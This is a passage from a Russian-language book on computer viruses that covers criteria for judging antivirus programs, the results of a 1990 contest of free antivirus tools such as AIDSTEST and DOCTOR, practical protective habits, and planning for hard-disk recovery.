сегодняшний день этот тип антивирусных программ особого распрост-
ранения не получил.
В настоящее время используются два основных типа вакцин: осно-
ванные на инактивированном теле вируса и основанные на имитации
действий, обеспечивающих положительный ответ на проверку вирусом в
запускаемой программе инсталлированной в памяти копии. Инактивиро-
ванная вакцина может быть получена из тела вируса гораздо быстрее,
чем написан соответствующий фаг. Поэтому этот тип вакцин можно ре-
комендовать как временную меру после обнаружения какого-то нового
вируса. Недостатком такого подхода является необходимость рабочего
знания языка ассемблера. Первая вакцина, основанная на инактивиро-
ванном вирусе, была разработана Л.И.Обуховым для вируса RCE-1813
(СП 1-2) и применялась в Киеве при борьбе с эпидемией указанного
вируса. Наиболее мощная поливакцина была разработана студентом
КИИГА В.В.Пономаренко (СП 2-7) и получила название NEATVAC. Суще-
ствующая версия NEATVAC обеспечивает защиту от более чем десятка
резидентных вирусов и особенно удобна для вузовских машинных за-
лов, где чаще обычного приходится сталкиваться с зараженными про-
граммами. В то же время вакцины, как и любые дополнительные рези-
дентные программы, не лишены побочных эффектов, которые могут быть
связаны с перехватом прерываний, используемых помимо вируса и ка-
кой-нибудь нормальной резидентной программой.
10.4.7. Критерии оценки качества антивирусных программ
Общим критерием оценки любой антивирусной программы является на-
личие самотестирования на заражение и отсутствие ложных срабатыва-
ний на самом себе. Другим важным критерием у выдача более или ме-
нее подробного отчета. В настоящее время это является слабым
местом для большинства как бесплатно распространяемых, так и ком-
мерческих программ. Например для фага такой отчет должен включать
помимо имени файла и типа заражения хотя бы длину файла до и после
выкусывания. Кроме того, в случае обнаружения каких-то аномалий
фаг должен выдавать соответствующию информацию и предупреждающие
сообщения, а не резать молча.
Наличие качественной документации также является несомненным
преимуществом, поскольку встречается крайне редко. Конечно, наши
программисты, как никто другой, приспособились обходиться без до-
кументации, однако этой их способностью нельзя злоупотреблять.
возможность управления областью поиска (глобальный, в поддереве,
в одном каталоге, в одном файле);
управление суффиксами обрабатываемых файлов;
качество интерфейса
качество диагностических сообщений;
качество выдаваемых сообщений
качество параметризации
качество документации
самотестирование на заражение;
возможность обработки файлов с атрибутами HIDDEN;
качество выдаваемого протокола;
качество документации;
размер в К;
скорость поиска.
оригинальность оформления (видео и звуковое сопровождение).
10.4.7.1. Критерии оценки качества детекторов
Если попытаться перечислить критерии оценки качества детектора в
порядке убывания их важности то получится следующий список:
проверка оперативной памяти и нейтрализация резидентных частей
вируса;
количество одновременно детектируемых вирусов;
диагностирование многократно зараженных разнотипными вирусами
файлов;
степень параметризации, совместимость по параметрам со SCAN;
удобство ввода новых сигнатур для поиска;
возможность визуального просмотра дампа найденных файлов;
использование эвристических приемов детектирования (диагностиро-
вание подозрительных переходов до 4К от конца файла, специальных
последовательностей команд и др.);
наличие средств сокращение количества ложных срабатываний при
поиске (комбинирование сигнатур, использование регулярных выраже-
ний, определение точки входа и др.);
операции с найденными файлами (удаление копирование, переимено-
вание и т.д.)
диагностирование спецслучаев типа программ, сжатых LZEXE,
EXEPACK, программ c внутренней сегментацией и др.;
Первым критерием оценки качества детектора является наличие про-
верки оперативной памяти на сигнатуры вирусов. Дело в том, что хо-
тя детекторы не должны запускаться на машине, загруженной с вин-
честера (т.е. потенциально зараженной), полагаться на
добросовестность пользователей было бы опрометчиво. Качественный
детектор должен иметь режим выдачи протокола на принтер в виде от-
чета, а также режим просмотра дампа найденного файл на экране
дисплея. Лучшие из детекторов помимо поиска сигнатур используют
ряд эвристических приемов, позволяющих выявить потенциально опас-
ные программы. Одним из таких приемов является интерпретация пер-
вой команды в COM-файлах и определение расстояния от точки, в ко-
торую передается управление, до конца файла. В случае, если это
расстояние меньше, скажем 4K (вообще порог срабатывания следует
задавать как параметр), такую программу необходимо подвергнуть до-
полнительнуму анализу.
Следует иметь в виду, что сигнатуры, используемые в детекторах
часто являются весьма несовершенными, что приводит к многочислен-
ным ложным срабатываниям. При этом качество выдаваемых детекторами
диагностических сообщений часто крайне низко, а их текст настолько
непродуман, что вызывает ложную тревогу и различные недоразуме-
ния. Обычно, чем более прост детектор, тем категоричнее выдаваемые
им сообщения. Так, большинство детекторов, основанных на простом
поиске в файле определенной, характерной для данного вируса строки
(т.е. обладающие теми же возможностями диагностики, что и Norton
Utilities или PC Tools) в случаях, когда она найдена, выдают са-
моуверенное сообщение типа:
Файл XXXX заражен вирусом ZZZZ.
На самом деле текст должен выглядеть гораздо скромнее, например:
На расстоянии YYYY от конца файла XXXX найдена строка,
характерная для вируса ZZZZ.
В этом плане характерен пример весьма популярного в нашей стране
полидетектора SCAN фирмы McAfee Associates, который детектирует
наибольшее число известных вирусов. Этот весьма низкокачественный,
по сути любительский детектор дает много ложных срабатываний, в
частности, для вирусов RC-1701 и Fu Manchu. Тем не менее пользова-
тели упорно считают выдаваемую им диагностику окончательным и не
подлежащим обжалованию приговором. Автору, как редактору бюллете-
ня СОФТПАНОРАМА, приходится отвечать на множество звонков, сигна-
лизирующих о наличии вирусов в той или иной программе, включенной
в очередной выпуск бюллетеня. На вопрос, Как это Вам удалось ус-
тановить?, обычно следует стандартный ответ: С помощью SCAN..
Поэтому при входном контроле программного обеспечения рекомендует-
ся применять несколько детекторов (батарею) и рассматривать вы-
данные сообщения как результаты голосования. В спорных случаях
следует провести визуальный анализ дампа с помощью таких средств
как Norton Commander, PC Shell или Norton Utilities.
Другой ошибкой, характерной для детекторов является пропуск за-
раженных вирусом программ (детектор обычно ориентирован на конк-
ретный набор характерных для вируса строк и не может учитывать
возможность появления новых штаммов). Например, тот же SCAN про-
пускает ряд распространяющихся в нашей стране вирусов. Поэтому вы-
даваемое детекторами в конце работы сообщение типа
Нет зараженных файлов
следует рассматривать под тем же углом, что и предыдущее сообще-
ние. Кроме того, пропуск зараженных программ детектором возможен
из-за непродуманной оптимизации. Например, ряд детекторов для
повышения скорости работы сканируют не весь файл, а только его
последние несколько блоков. В случае, если вирус аномально сел в
середину файла, он будет таким детектором пропущен.
Следует также отметить, что неэффективен запуск программ-детек-
торов для проверки архивированных файлов (т.е. файлов с расширени-
ями .ZIP, .ARC, .ICE, .LZH и т.д.). Для проверки программ, находя-
щихся в архивированном виде, необходимо предварительно их разархи-
вировать, или использовать специальную оболочку, автоматически ра-
зархивирующую каждый файл перед передачей детектору. В противном
случае детектор не в состоянии проверить содержимое архива, пос-
кольку соответствующие сигнатуры искажены в процессе сжатия инфор-
мации.
Для проверки архивов c помощью SCAN удобно запускать его из обо-
лочки SHEZ (версии 5.5 и более поздние), которая позволяет автома-
тически разархивировать проверяемые файлы. Это означает, что сов-
местимость со SCAN по передаваемым параметрам обеспечивает важный
и удобный режим работы. Тем самым, такая совместимость становится
важным критерием оценки качества детектора (как, впрочем, и фага).
Рассмотренные выше ошибки были характерны как для детекторов,
так и для фагов, поскольку фаг обычно включает в себя детектор.
Теперь перейдем к ошибкам, характерным только для фагов.
10.4.7.2. Сравнительный анализ полифагов
Помимо критериев, приведенных выше для полидетекторов, полифаги
можно оценивать по следующим критериям:
количество обрабатываемых вирусов;
обработка многократно зараженных файлов;
возможность управления временем создания файла (например, сброс
и установка 62 с. для заданных файлов);
самовосстановление при заражении вирусами (включая неизвестные);
лечение многократно зараженных вирусом программ (например, RCE-
1813);
выдача предупреждений при обнаружении файлов аномальной структу-
ры или нестандартных случаев заражения (типа заражения FOXBASE ви-
русом RCE-1813);
В настоящее время большинство полифагов ориентированы на фикси-
рованный набор вирусов и неэффективны против всех остальных типов.
Поэтому качество фага прежде всего связано с количеством вирусов,
которые он обрабатывает и правильностью его работы. Наряду с этим
показателем немаловажное значение имеет удобство интерфейса и вы-
дача более или менее подробного отчета. Такой отчет должен позво-
лять контролировать результаты лечения и включать помимо имени
файла и типа заражения хотя бы длину файла до и после выкусыва-
ния. Кроме того, обнаружив какие-либо аномалии, фаг должен выда-
вать предупреждающие сообщения, а не резать лишь бы резать. На-
личие качественной документации также является несомненным
достоинством, но, к сожалению, среди некоммерческих программ
встречается редко.
Как уже указывалось, по выполняемым действиям фаги, особенно
сканирующие всю файловую структуру, являются потенциально опасными
программами. Например, некоторые фаги проверяют тип файла не по
его первым байтам, а по расширению, что ведет к плачевным резуль-
татам при лечении EXE-программ с расширением COM или COMпрограмм с
расширением ЕXE. Поэтому применять новый, неопробованный фаг, сле-
дует только приняв необходимые меры предосторожности, в частности,
предварительно отделив зараженные программы от остальных и сняв
справки до и после лечения. Кроме того, встречаются фаги, заражен-
ные вирусами (часто другого типа) или даже вирусы, замаскированные
под фаги (на одной из первых дискет с антивирусными программами,
распространявшейся по стране, имелись две программы - ANTI86 и
ANTI87, которые представляли собой вирус С-648 с добавленными к
нему для камуфляжа сообщениями).
Подобно любой другой часто используемой программе, фаг может со-
держать троянскую компоненту. Например, если рассматривать пакет
антивирусных программ В.Бончева, то учитывая тот факт, что им
распрострялась дискета с текстами вирусов (хотя хочется надеяться,
что это была ошибка молодости), нет никакой гарантии, что в оче-
редной версии один или несколько фагов данного пакета не окажутся
троянскими, например будут лечить от одного вируса и заражать дру-
гим. В частности, один из вирусов, разработанных в институте ВМЕИ
В.И.Ленин (В. Бончев называет эту серию вирусов TP-вирусами),
модифицирует вирус Итальянский попрыгунчик и его несложно выдать
за резидентный фаг. Поэтому относиться к программам Бончева, учи-
тывая нездоровый интерес, проявляемый к его имени со стороны техно
-крысы Dark Avenger, нужно с осторожностью. Это, впрочем, относит-
ся к любой антивирусной программе, полученной из неизвестного или
сомнительного источника. Например, на Западе в одной из сетей
распространялась троянская программа, которая имитировала заставку
FluShot3, представляясь ее новой версией - FluShot4. При запуске
этой программы на экране появлялась заставка с запросом Желаете
ли вы инсталлировать программу в систему?. Независимо от сделан-
ного пользователем ответа программа уничтожала системные блоки
винчестера и разрушала нулевой сектор на всех доступных дискетах.
10.4.7.3. Критерии оценки и сравнительный анализ ревизоров
возможность записи результатов ревизии в отдельный файл, или
распределения по отдельным подкаталогам;
возможность сохранять первые байты программы;
качество алгоритма подсчета контрольной суммы;
наличие режима сокращенного подсчета контрольной суммы;
диагностика аномалий в дате создания файла (например 62 секунд,
13 месяц, год из следующего столетия и т.д.)
возможность выдачи данных ревизии в виде отчета, с указанием
размера и даты создания, первых байтов;
возможность маркировки файлов перед передачей и снятия маркера;
10.4.7.4. Сравнительный анализ вакцин
количество обрабатываемых вирусов
самотестирование на заражение
нейтрализация резидентных вирусов или блокирование запуска на
зараженной машине
диагностирование зараженной программы
степень наводимых помех при работе
10.4.7.5. Критерии оценки сторожей
степень помех при работе
блокирование записи или форматирования по 13 прерыванию
блокирование изменений в ВООТ и MBR
блокирование несанкционарованной постановки программы в резидент
наличие звукового сигнала и управление им
10.4.8. О первом конкурсе антивирусных программ, распространяемых бесплатно
В феврале 1990 года под руководством автора был проведен первый
конкурс антивирусных программ, распространяемых бесплатно. Конкурс
проводился в трех классах: фаги, детекторы и ревизоры, резидентные
фильтры и вакцины.
В классе фагов первое место заняла программа AIDSTEST Д.Н.Ло-
зинского, а второе место - программа DOCTOR А.А.Чижова. В классе
детекторов и ревизоров первое место занял ревизор DLI В.Герасимо-
ва, а второе место - контекстный детектор VL А.Л.Шеховцова. И, на-
конец, в классе резидентных фильтров два первых места поделили
программы SBM В.Еременко и Б.Мостового и программа CHECK21 В.Дво-
еглазова.
Результаты конкурса могут служить в определенной степени реко-
мендацией для указанных программ. Вместе с тем указанные жюри дос-
тоинства и недостатки этих программ относятся только к версиям,
существовавшим на январь 1990 г., и могут быть неверными по отно-
шению к последующим версиям.
10.4.8.1. Оценки и рекомендации жюри по полифагам
10.4.8.1.1. A I D S T E S T
Достоинства. Наличие документации удовлетворительного качества.
Правильный выбор режима работы по умолчанию (вызов вида AIDSTEST
<имя диска> выполняет нейтрализацию резидентных частей вирусов и
детектирование). Аккуратное выкусывание ТР-вирусов (оставляет
всего один-два байтамусора). Аккуратное выкусывание вируса Bx1
-1C (не оставляет на диске сбойный кластер). Самотестирование на
заражение (лечит себя тем же методом, что и остальные программы,
что, впрочем, нельзя считать правильным подходом). Пытается обна-
ружить и нейтрализовать в оперативной памяти резидентные вирусы
(хотя предусмотренную возможность работы после нейтрализации нель-
зя приветствовать - см. ниже. В таких случаях полифаг должен нас-
таивать на перезагрузке с защищенной дискеты). С момента появле-
ния был и остается бесплатно распространяемой программой. Ранние
версии были первым средством по борьбе с C-534 и RCE-1206, исполь-
зовавшимся в Киеве и применялись на второй стадии борьбы с
RСЕ-2885 и RСE-1800.
Недостатки. Отсутствует ключ запроса на лечение (аналог ключа /q
программы DOCTOR). Неудовлетворительное качество протокола (от-
сутствует длина зараженной и вылеченной программы, слишком кате-
горичная форма диагностических сообщений, хотя вместо исцелен
иногда получается испорчен). Зацикливается на ЕС1840. Тестируе-
мая версия не диагностировала вирус TP45, причем не выдавалось со-
общение о подозрительном хвосте файла. Оошибка в ключах (вместо
/G /C). Некорректно работает на файлах, зараженных несколькими ви-
русами(зацикливается). Алгоритм поиска вирусов в оперативной памя-
ти нуждается в доработке (не распознает RELEASE как специальный
случай; при наличии RELEASE в памяти, не детектируется наличие ря-
да резидентных вирусов, например RCE1800). Не проводит дополни-
тельного анализа структуры обрабатываемой программы с целью обна-
ружения аномалий, затрудняющих или делающих невозможным
стандартный подход к лечению, в частности неверно обрабатывает
случай типа зараженный RСE-1813 FOXBASE. До сентября 1989 г. был
практически неизвестен в Киеве.
10.4.8.1.2. D O C T O R
Достоинства. Корректно обрабатывает тонкие и сложные случаи
заражения, выдавая при этом информативную диагностику, в частнос-
ти, выдает предупреждение при лечении FOXBASE, зараженного
RCE-1813. Корректно обрабатывает многократно зараженные файлы, за
исключением случая, когда одним из вирусов является вирус RСE1206.
Имеется ключ, позволяющий принимать решение о лечении в зависимос-
ти от имени зараженного файла (при этом было бы полезно выдавать
дополнительную информацию, относящуюся к данному файлу, в частнос-
ти, его длину). Устойчивая работа на самых разных типах ЭВМ, вклю-
чая EC1840. Самотестирование на заражение (хотя данная версия ле-
чит себя тем же методом, что и остальные программы, что нельзя
считать правильным подходом). Пытается обнаружить и нейтрализовать
в памяти вирусы (хотя как и в случае AIDSTEST, предусмотренную
возможность работы после нейтрализации нельзя приветствовать - см.
ниже; в таких случаях полифаг должен настаивать на перезагрузке
с защищенной дискеты). Ранние версии использовались в Киеве для
борьбы с эпидемией вируса RСЕ-1813 наряду с фагом FAG1813 Л.И.Обу-
хова.
Недостатки. Отсутствует документация. Неверно выбран режим рабо-
ты по умолчанию (запуск вида DOCTOR <имя диска> вызывает попытку
нейтрализации имеющихся резидентных вирусов и лечение вместо де-
тектирования зараженных программ). В тестированной версии неверно
выдается диагностическое сообщение о типе найденного вируса при
правильных действиях по его выкусыванию. Некорректно обрабатыва-
ет вирус RСЕ-1206 в случае многократного заражения. Не удаляет с
диска псевдосбойный кластер после чистки вируса Bx1-1C. С сентября
по ноябрь очередные версии не были доступны.
10.4.8.2. Оценки и рекомендации жюри по детекторам и ревизорам
10.4.8.2.1. D L I
Достоинства DLI. Простота установки и использования. Возможность
ускоренного просмотра с проверкой только даты и длины файлов. Об-
работка деревьев произвольной структуры. Специальный формат и имя
файлов с контрольной информации. Полезность в качестве инструмента
общего назначения, облегчающего анализ изменений в каталогах, а не
только для борьбы с вирусами. Своевременность появления - первая
версия была создана еще до начала эпидемии вирусом и могла исполь-
зоваться с самого начала борьбы с вирусами.
Недостатки DLI. Нет режима сокращенной обработки контрольных
сумм COM- и EXE-файлов (аналогично тому, как это реализовано в
программе SPEEDCHK Л.Шнайдера). Нет режима группировки всей конт-
рольной информации в главном каталоге или специальном подкаталоге.
Невозможность использования на защищенных от записи дисках. Нельзя
остановить по Ctrl-Break. Нет возможности задать периодическую
проверку. Нет возможности изменить имена файлов с результатами ре-
визии, а также распечатать содержащуюся в них информацию. Нельзя
исключить некоторые ветви из проверки и задать проверяемые типы
файлов.
10.4.8.2.2. V L
Достоинства VL. Простота, возможность настройки, оптимизация
поиска, оконный интерфейс.
Недостатки VL. нестандартный интерфейс (например, неудобен пере-
ход к окну более высокого уровня - принято использовать клавишу
). Невозможна комбинация нескольких масок для одного вируса.
Слишком жесткое ограничение длины строк для поиска (15 символов -
это мало, необходимо около 72 символов). Невозможен визуальный
просмотр файла с найденной маской. Неудачный набор поставляемых
масок (они слишком коротки для автоматического поиска и некоторые
из них дают много ложных срабатываний). Реклама Rтехнологии в кон-
тексте столь простой программы представляется несколько неумест-
ной.
10.4.8.3. Оценки и рекомендации жюри по сторожам и вакцинам
10.4.8.3.1. S B M и C H E C K 2 1
Достоинства SBM и CHECK21. Элегантная и оригинальная идея, лежа-
щая в основе программы. Эффективное блокирование всех известных
файловых вирусов. Отсутствие помех пользователю при работе.
Недостатки SBM. Не выдает никаких сообщений, что не позволяет
обнаружить наличие зараженных програм проходившая испытания версия
SBM неправильно обрабатывает случай снятия программы по CtrlBreak.
Имеет совершенно неудовлетворительную документацию. Отсутствует
файл со списком исключений (он необходим, чтобы не выдавать лиш-
ние сообщения для нормальных программ, перехватывающих прерыва-
ние 21h, например LEXICON или Turbo C).
Недостатки CHECK21. Хотя СHECK21 выдает достаточно информативные
сообщения, он не имеет режима их отключения. Не поддерживается
файл исключений.
Следует отметить, что с момента окончания конкурса авторы уже
выпустили ряд новых версий, в которых безусловно улучшили надеж-
ность, спектр распознаваемых вирусов и функциональные возможности
своих программ (последние версии, в частности, проводят самотести-
рование и проверяют наличие в памяти резидентных вирусов после
своего запуска).
Среди полифагов, разработанных после окончания конкурса, следует
отметить AV И.В.Сысоева и Kxx Е.Н.Сусликова. В отличие от AIDSTEST
и DOCTOR, они написаны на ассемблере. Особый интерес представляет
полифаг Kxx, который является первой реализацией незаражаемого по-
лифага и использует ряд оригинальных алгоритмов. При сравнимых
функциональных возможностях обе эти программы очень компактны и
имеют достаточно удачный набор режимов работы.
Применяя антивирусные программы на разных ЭВМ в реальных услови-
ях, пользователи часто сталкиваются с ошибками и неточностями ра-
боты, воспроизвести которые в ходе тестирования не всегда удается
(например, интерференция между резидентными фильтрами и другими
резидентными программами), ошибками при выполнении тех или иных
действий (например, для фага - уничтожение программ при выкусыва-
нии), побочными эффектами и другими особенностями той или иной
антивирусной программы. Эта информация имеет огромную ценность как
для авторов, которые заинтересованы в совершенствовании своих
программ, так и для объективной оценки программы. Значительная
часть ее не может быть получена в ходе тестирования и анализа этой
же программы в экспериментальной обстановке. Ваши мнения, предло-
жения или дополнительную информацию по программам, упомянутым в
данной работе, а также всем программам, публикуемым в бюллетене
СОФТПАНОРАМА, высылайте автору. Наиболее интересные из них будут
помещены в раздел FORUM бюллетеня.
10.5. Отдельные приемы защиты
Привычка - вторая натура
Латинская пословица
В данный раздел включены некоторые приемы, которые хотя и носят
вспомогательный характер, в то же время достаточно важны для того,
чтобы предпринять специальные меры по их выделению из массы приво-
димого материала.
10.5.1. Регулярно оптимизируйте винчестер
Как уже указывалось, периодически следует оптимизировать распо-
ложение файлов на винчестере с помощью утилиты SpeeDisk Нортона
или другой аналогичной утилиты. Эту операцию целесообразно прово-
дить не реже раза в месяц, сразу после выгрузки содержимого вин-
честра на дискеты (создания главного архива). в процессе оптимиза-
ции файлы можно расположить на диске таким образом, чтобы наиболее
часто используемые находились ближе к началу диска. Для этой цели
можно скорректировать поле даты таким образом, чтобы у наиболее
часто используемых файлов дата создания была меньше, чем у исполь-
зуемых редко, а затем задать режим упорядочения файлов по дате.
Помимо этого SpeeDisk позволяет также задать порядок расположения
каталогов и имена нескольких наиболее часто используемых файлов.
Ежедневно перед окончание работы следует проводить уборку вин-
честера у дефрагментацию созданных файлов. После дефрагментации
все файлы занимают последовательные группы кластеров, что сущест-
венно облегчает их восстановление даже в случае тяжелых поврежде-
ний управляющих блоков.
10.5.2. Прятать новые версии антивирусных программ просто невыгодно
Что ты спрятал , то - пропало.
Что ты отдал, то - твое
Ш.Руставели
Получив новую, более эффективную антивирусную программу, некото-
рые не стремятся передать ее другим пользователям, рассматривая ее
наличие как некоторое преимущество. Ошибочность политики прими-
тивного эгоизма в случае антивирусных программ состоит в том,
что, передав программу всем своим знакомым, Вы как бы создаете до-
полнительную зону защиты, на которой тот или иной вирус может быть
обнаружен и изолирован еще до попадания на Вашу ЭВМ. Поэтому бес-
корыстная передача новых версий антивирусных программ представля-
ет, по сути, политику разумного эгоизма: за Ваше более безопас-
ное положение Вы отдаете чужие, доставшиеся Вам бесплатно
программы, да еще и получаете причитающуюся Вам долю уважения за
кажущееся бескорыстие этих действий.
10.5.3. Нормальное состояние дискеты - защищенное от записи
Существенным конструктивным дефектом 5-дюймовых дискет является
необходимость заклейки выреза клейкой фольгой для защиты от запи-
си. При этом фольга, как и сами дискеты является дефицитом. Тем не
менее, рекомендуется считывать информацию с дискеты, в особенности
на чужих машинах, только с защищенных от записи дискет. Вообще
нормальным состоянием дискеты является заклеенное и защита долж-
на сниматься только в случае записи на нее информации. В условиях
дефицита наклеек из фольги, для этой цели можно использовать са-
модельные, состоящие из полоски фольги, наклеенной на прозрачную
липкую ленту (SCOTCH) или темную изоленту. В случае, когда у вас
на машине не оказалось наклейки, а Вам нужно защитить дискету от
записи можно сложить пополам полоску бумаги, так чтобы она закры-
вала соответствующую прорезь и аккуратно вставить ее в дисковод
вместе с дискетой.
10.5.4. Как работать на зараженном файловым вирусом компьютере при отсутствии вакцины
Иногда необходимо работать на компьютере, который постоянно ин-
фицируется любителями компьютерных игр или по каким-то другим при-
чинам. В этом случае можно избежать заражения используемых прог-
рамм путем создания искусственной мишени для вируса. Поскольку
подавляющее большинство файловых вирусов заражает программу при ее
запуске, можно обмануть вирус двумя основными способами.
Во-первых, можно предварительно переименовать все файлы типа COM
и EXE (например, в PGM и LNK) и использовать для их запуска на вы-
полнение виртуальный диск. При этом достаточно написать простые
BAT-файлы, в которых программа сначала копируется на виртуальный
диск, затем переименовывается, выполняется и удаляется. При от-
сутствии достаточного количества оперативной памяти для организа-
ции виртуального диска требуемого размера, для этой цели можно ис-
пользовать один из разделов винчестера, хотя это несколько
замедляет работу.
Более высокую степень защиты обеспечивает модификация этого спо-
соба, основанная на свертке каталога архиватором. При этом проце-
дура запуска аналогична предыдущей, однако на первом шаге BAT-фай-
ла вместо копирования соответствующий файл сначала разархивируется
на виртуальный диск (или раздел винчестера). Преимуществом этого
способа (если держать архиватор на виртуальном диске) является
экономия места на диске, а недостатком - увеличение времени поиска
программ при загрузке, связанное с просмотром архива. Автор разра-
ботал последний способ после одного неудачного эксперимента с ви-
русом RСE-1800, когда вырвавшийся на свободу вирус заразил нес-
колько десятков файлов на винчестере (никакими специальными ЭВМ
для экспериментов автор не располагает, поэтому все эксперименты
проводятся с риском для винчестера на обычном персональном
компьютере коллективного пользования). Вместе с тем, данный способ
оказался достаточно удачным и с тех пор широко используется авто-
ром для экономии места на винчестере.
Особенно полезен данный способ для мелких, сравнительно редко
используемых программ, если на используемой машине установлен вин-
честер размером 20M или меньше. В этом случае на винчестере созда-
ется рабочий каталог (например, WORK), в который выполняется ра-
зархивирование. Этот каталог включается в PATH перед каталогом
BAT, а в Norton Commander (или другую используемую оболочку) вклю-
чается команда очистки этого каталога. Поскольку из каталога WORK
разархивированная программа не удаляется, то дополнительное время
на разархивацию тратится только при первом обращении к программе.
Конечно, следует предусмотреть соответствующий BAT-файл для запус-
ка программы (в простейшем случае это может быть BAT-файл RUN, ко-
торому в качестве первого параметра передается имя выполняемой
программы.
Для монстрообразных программ (например, программ, написанных
на Clipper'е) более удобно использование архиватора LZEXE (см. СП
2-9). Например, программа PCTools занимает на диске около 200K,
половину из которых можно сэкономить, сжав ее с помощью LZEXE.
10.5.5. При хранении антивирусных программ на винчестере, используйте архивирование
При хранении антивирусных программ в виде специального каталога
на винчестере желательно свернуть их в архив, а перед использова-
нием разархивировать на виртуальный диск или в тот же каталог, а
затем удалять. Это позволяет избежать заражения антивирусных прог-
рамм, не обладающих средствами самотестирования на зараженность,
новыми типами вируса, которые, естественно, ими не детектируются
(в лучшем случае может быть выдано предупреждающее сообщение).
10.5.6. Использование макетов программ типа DUMYxxxx для
определения место нахождения спрятанных байтов
В ряде случаев приходится лечить файлы вручную, используя
только редактор двоичных файлов (например, RED). В этом случае
первостепенное значение имеет выяснение расположения спрятанных
вирусом байтов. В частности, для COM-файлов в большинстве случаев
достаточно восстановить первые три байта, чтобы дезактивировать
вирус. При наличии некоторых навыков, после проверки правильности
работы дезактивированной программы можно легко удалить тело вируса
редактором.
При определении местонахождения спрятанных байтов удобно исполь-
зовать неразборчивость вирусов, которые не проверяют, какие фай-
лы им подсовывают для заражения. Поэтому вместо настоящего можно
создать файл, состоящий из одинаковых символов и заразить его изу-
чаемым вирусом. Поскольку в простейшем случае этот файл неисполня-
емый, то в случае резидентного вируса, заражающего запускаемые на
выполнение программы, после заражения MS DOS зависнет и Вам при-
дется перегрузиться. Однако зараженный файл сохранится и окажет
неоценимую помощь при анализе. Обычно достаточно нескольких экспе-
риментов, чтобы определить местонахождение спрятанных байтов.
Это позволяет выяснить их местонахождение без дисассемблирования.
Немного зная ассемблер, можно легко сделать и исполняемый макет,
состоящий из требуемого количества команд NOP (однобайтовая коман-
да с кодом 90h) и выхода с помощью INT 20 или INT 21-4C. Некоторые
вирусы заражают только файлы, начинающиеся с команды перехода. В
таких случаях необходимо поставить в качестве первой команды ко-
манду JMP. Для создания таких дрозофил удобно использовать прог-
рамму DEBUG, входящую в состав MS DOS. Техника работы с этой прог-
рамой подробно описана во всех учебниках по языку Ассемблера для
IBM PC.
10.6. Методика восстановления информации
Ничего не потеряно,
пока не потеряно все
Пословица
Необходимо отметить, что даже в достаточно тяжелых случаях,
восстановление поврежденной информации чаще всего возможно (по
крайней мере, частичное), однако требует достаточно высокой квали-
фикации. Именно в этот момент вступают в игру архивированные
системные блоки, наличие которых на дискете позволяет существенно
облегчить восстановление.
Наряду со свежими архивными копиями системных блоков в такой си-
туации важное значение имеет наличие системных программистов, спо-
собных оценить характер и объем повреждения, а также умеющих вы-
полнить восстановление при разрушенных или отформатированных
системных блоках или других массивных повреждениях файловой систе-
мы. При отсутствии собственных системных программистов, представ-
ляется оправданным приглашение их со стороны. Профессиональные ор-
ганизации программистов, подобные Киевскому обществу системных
программистов, также могут оказать помощь в восстановлении инфор-
мации. В других городах также можно найти системных программистов
или организацию, которая, на льготных условиях может предоставить
какие-то дополнительные услуги по восстановлению информации.
Конечно степень усилий во многом зависит от ценности потерянной
информации. В силу ограниченности обьема книги остановимся лишь на
наиболее общих принципах организации восстановления информации.
10.6.1. Создайте и отработайте план восстановления винчестера !
Кто приготовился к бою,
тот его наполовину выиграл
М.Сервантес
Встреча с каким-нибудь коварным компьютерным вирусов может и не
состояться. Но огорчаться не стоит. Экстемальных ситуаций в прог-
раммировании хоть отбавляй и место вируса наверняка не окажется
вакантным. Поэтому вопрос не в том, потеряете ли вы данные, запи-
санные на винчестер, а лишь в том, когда это произойдет. Следова-
тельно уже сейчас стоит подумать над вопросом о том, как реагиро-
вать на это неприятное событие, которое обычно случается в самый
неподходящий момент. Результаты ваших раздумий следует оформить в
виде папки с документами (горячая папка) и коробки с дискетами
(горячая коробка), которые вместе мы будет называть планом
восстановления винчестера.
Первая компонента плана у горячая папка должна содержать всю
информацию, необходимая для восстановления винчестера. Для машин
типа AT на лицевую сторону обложки следует наклеить распечатку со-
держимого CMOS-памяти, полученного с помощью программы SysInfo,
входящей в 5 версию утилит Нортона или с помощью другой подходящей
утилиты. На обратную сторону папки удобно наклеить распечатку
PARTITION TABLE, всех логических дисков. Ее можно получить с по-
мощью Norton Utilities. На обороте папки карандашем удобно записы-
вать даты создания архивов логических дисков и имена файлов с про-
токолами архивирования. В самой папке следует хранить распечатку
последних версий AUTOEXEC.BAT и CONFIG.SYS, а также тетраль, в ко-
торой записаны необходимые шаги по восстановлению основных катало-
гов и комментарии к ним (с указанием встретившихся трудностей и
топких мест). В папке также желательно хранить распечатку ката-
логов всех логических дисков винчестера и каталогов всех дискет
горячей коробки.
Горячая коробка должна состоять из лучших дискет, которыми вы
располагаете (желательно 1.2M, если на машине установлен соответс-
твующий дисковод). Эти дискеты должны быть проверены и не содер-
жать сбойных треков. Примерный состав горячей коробки:
1. Дискета с стартовой операционной системой. Если вы используе-
те DISK MANAGER или ADM, то дискета со стартовой операционной сис-
темой должна включать в CONFIG.SYS соответствующий драйвер. Если
на компьютере установлен дисковод 1.2M, то стартовая дискета долж-
на быть именно 1.2M, а не 360K, как это часто бывает. При загрузке
операционной системы со стартовой дискеты, необходимо предусмот-
реть организацию электронного диска размером в 200К при обьеме
оперативной памяти в 640K, или 384K при обьеме оперативной памяти
в 1M. В процессе загрузки на этот электронный диск должен перепи-
сываться командный процессор и Norton Commander с тем, чтобы не
приходилось держать на каждой дискете копию командного процессора.
Все EXE-файлы на стартовой дискете целесообразно сжать архиватором
LZEXE. В случае дискеты 360K полезно преобразовать в EXE-формат и
сжать COM-файлы. Ввиду особой важности, целесообразно иметь две
идентичные копии стартовой дискеты.
2. Дискеты с утилитами. На эти дискеты рекомендуется записать
Norton Utilities версии 5 и PCTools. Если дискеты имеют обьем
меньший 1.2M, то все нужные программы можно разместить на двух
дискетах.
3. Дискета с программами разметки винчестера и установки исполь-
зуемого дискового драйвера. На данной дискете целесообразно раз-
местить соответствующие программы (ADM, DISK MANAGER, SpeedStore и
т.д.) и текстовый файл с планом разбиения винчестера.
4. Дискета с резервными копиями управляющих блоков. Эта дискета
должна иметь подкаталоги С, D, E и т.д., в каждом из которых сле-
дует хранить управляющие блоки относящиеся к данному диску. Файлы
с резервными компиями управляющих блоков проще всего следать с по-
мощью программы DiskEdit версии 5 утилит Нортона. При этом MBR
можно записать в файл MBR.BIN, бутсектор в файл BOOT.BIN, а затем
сделать их распечатки. Программа DiskTool версии 5 утилит Нортона
позволяет создать объединенные дампы MBR и бутсекторов всех логи-
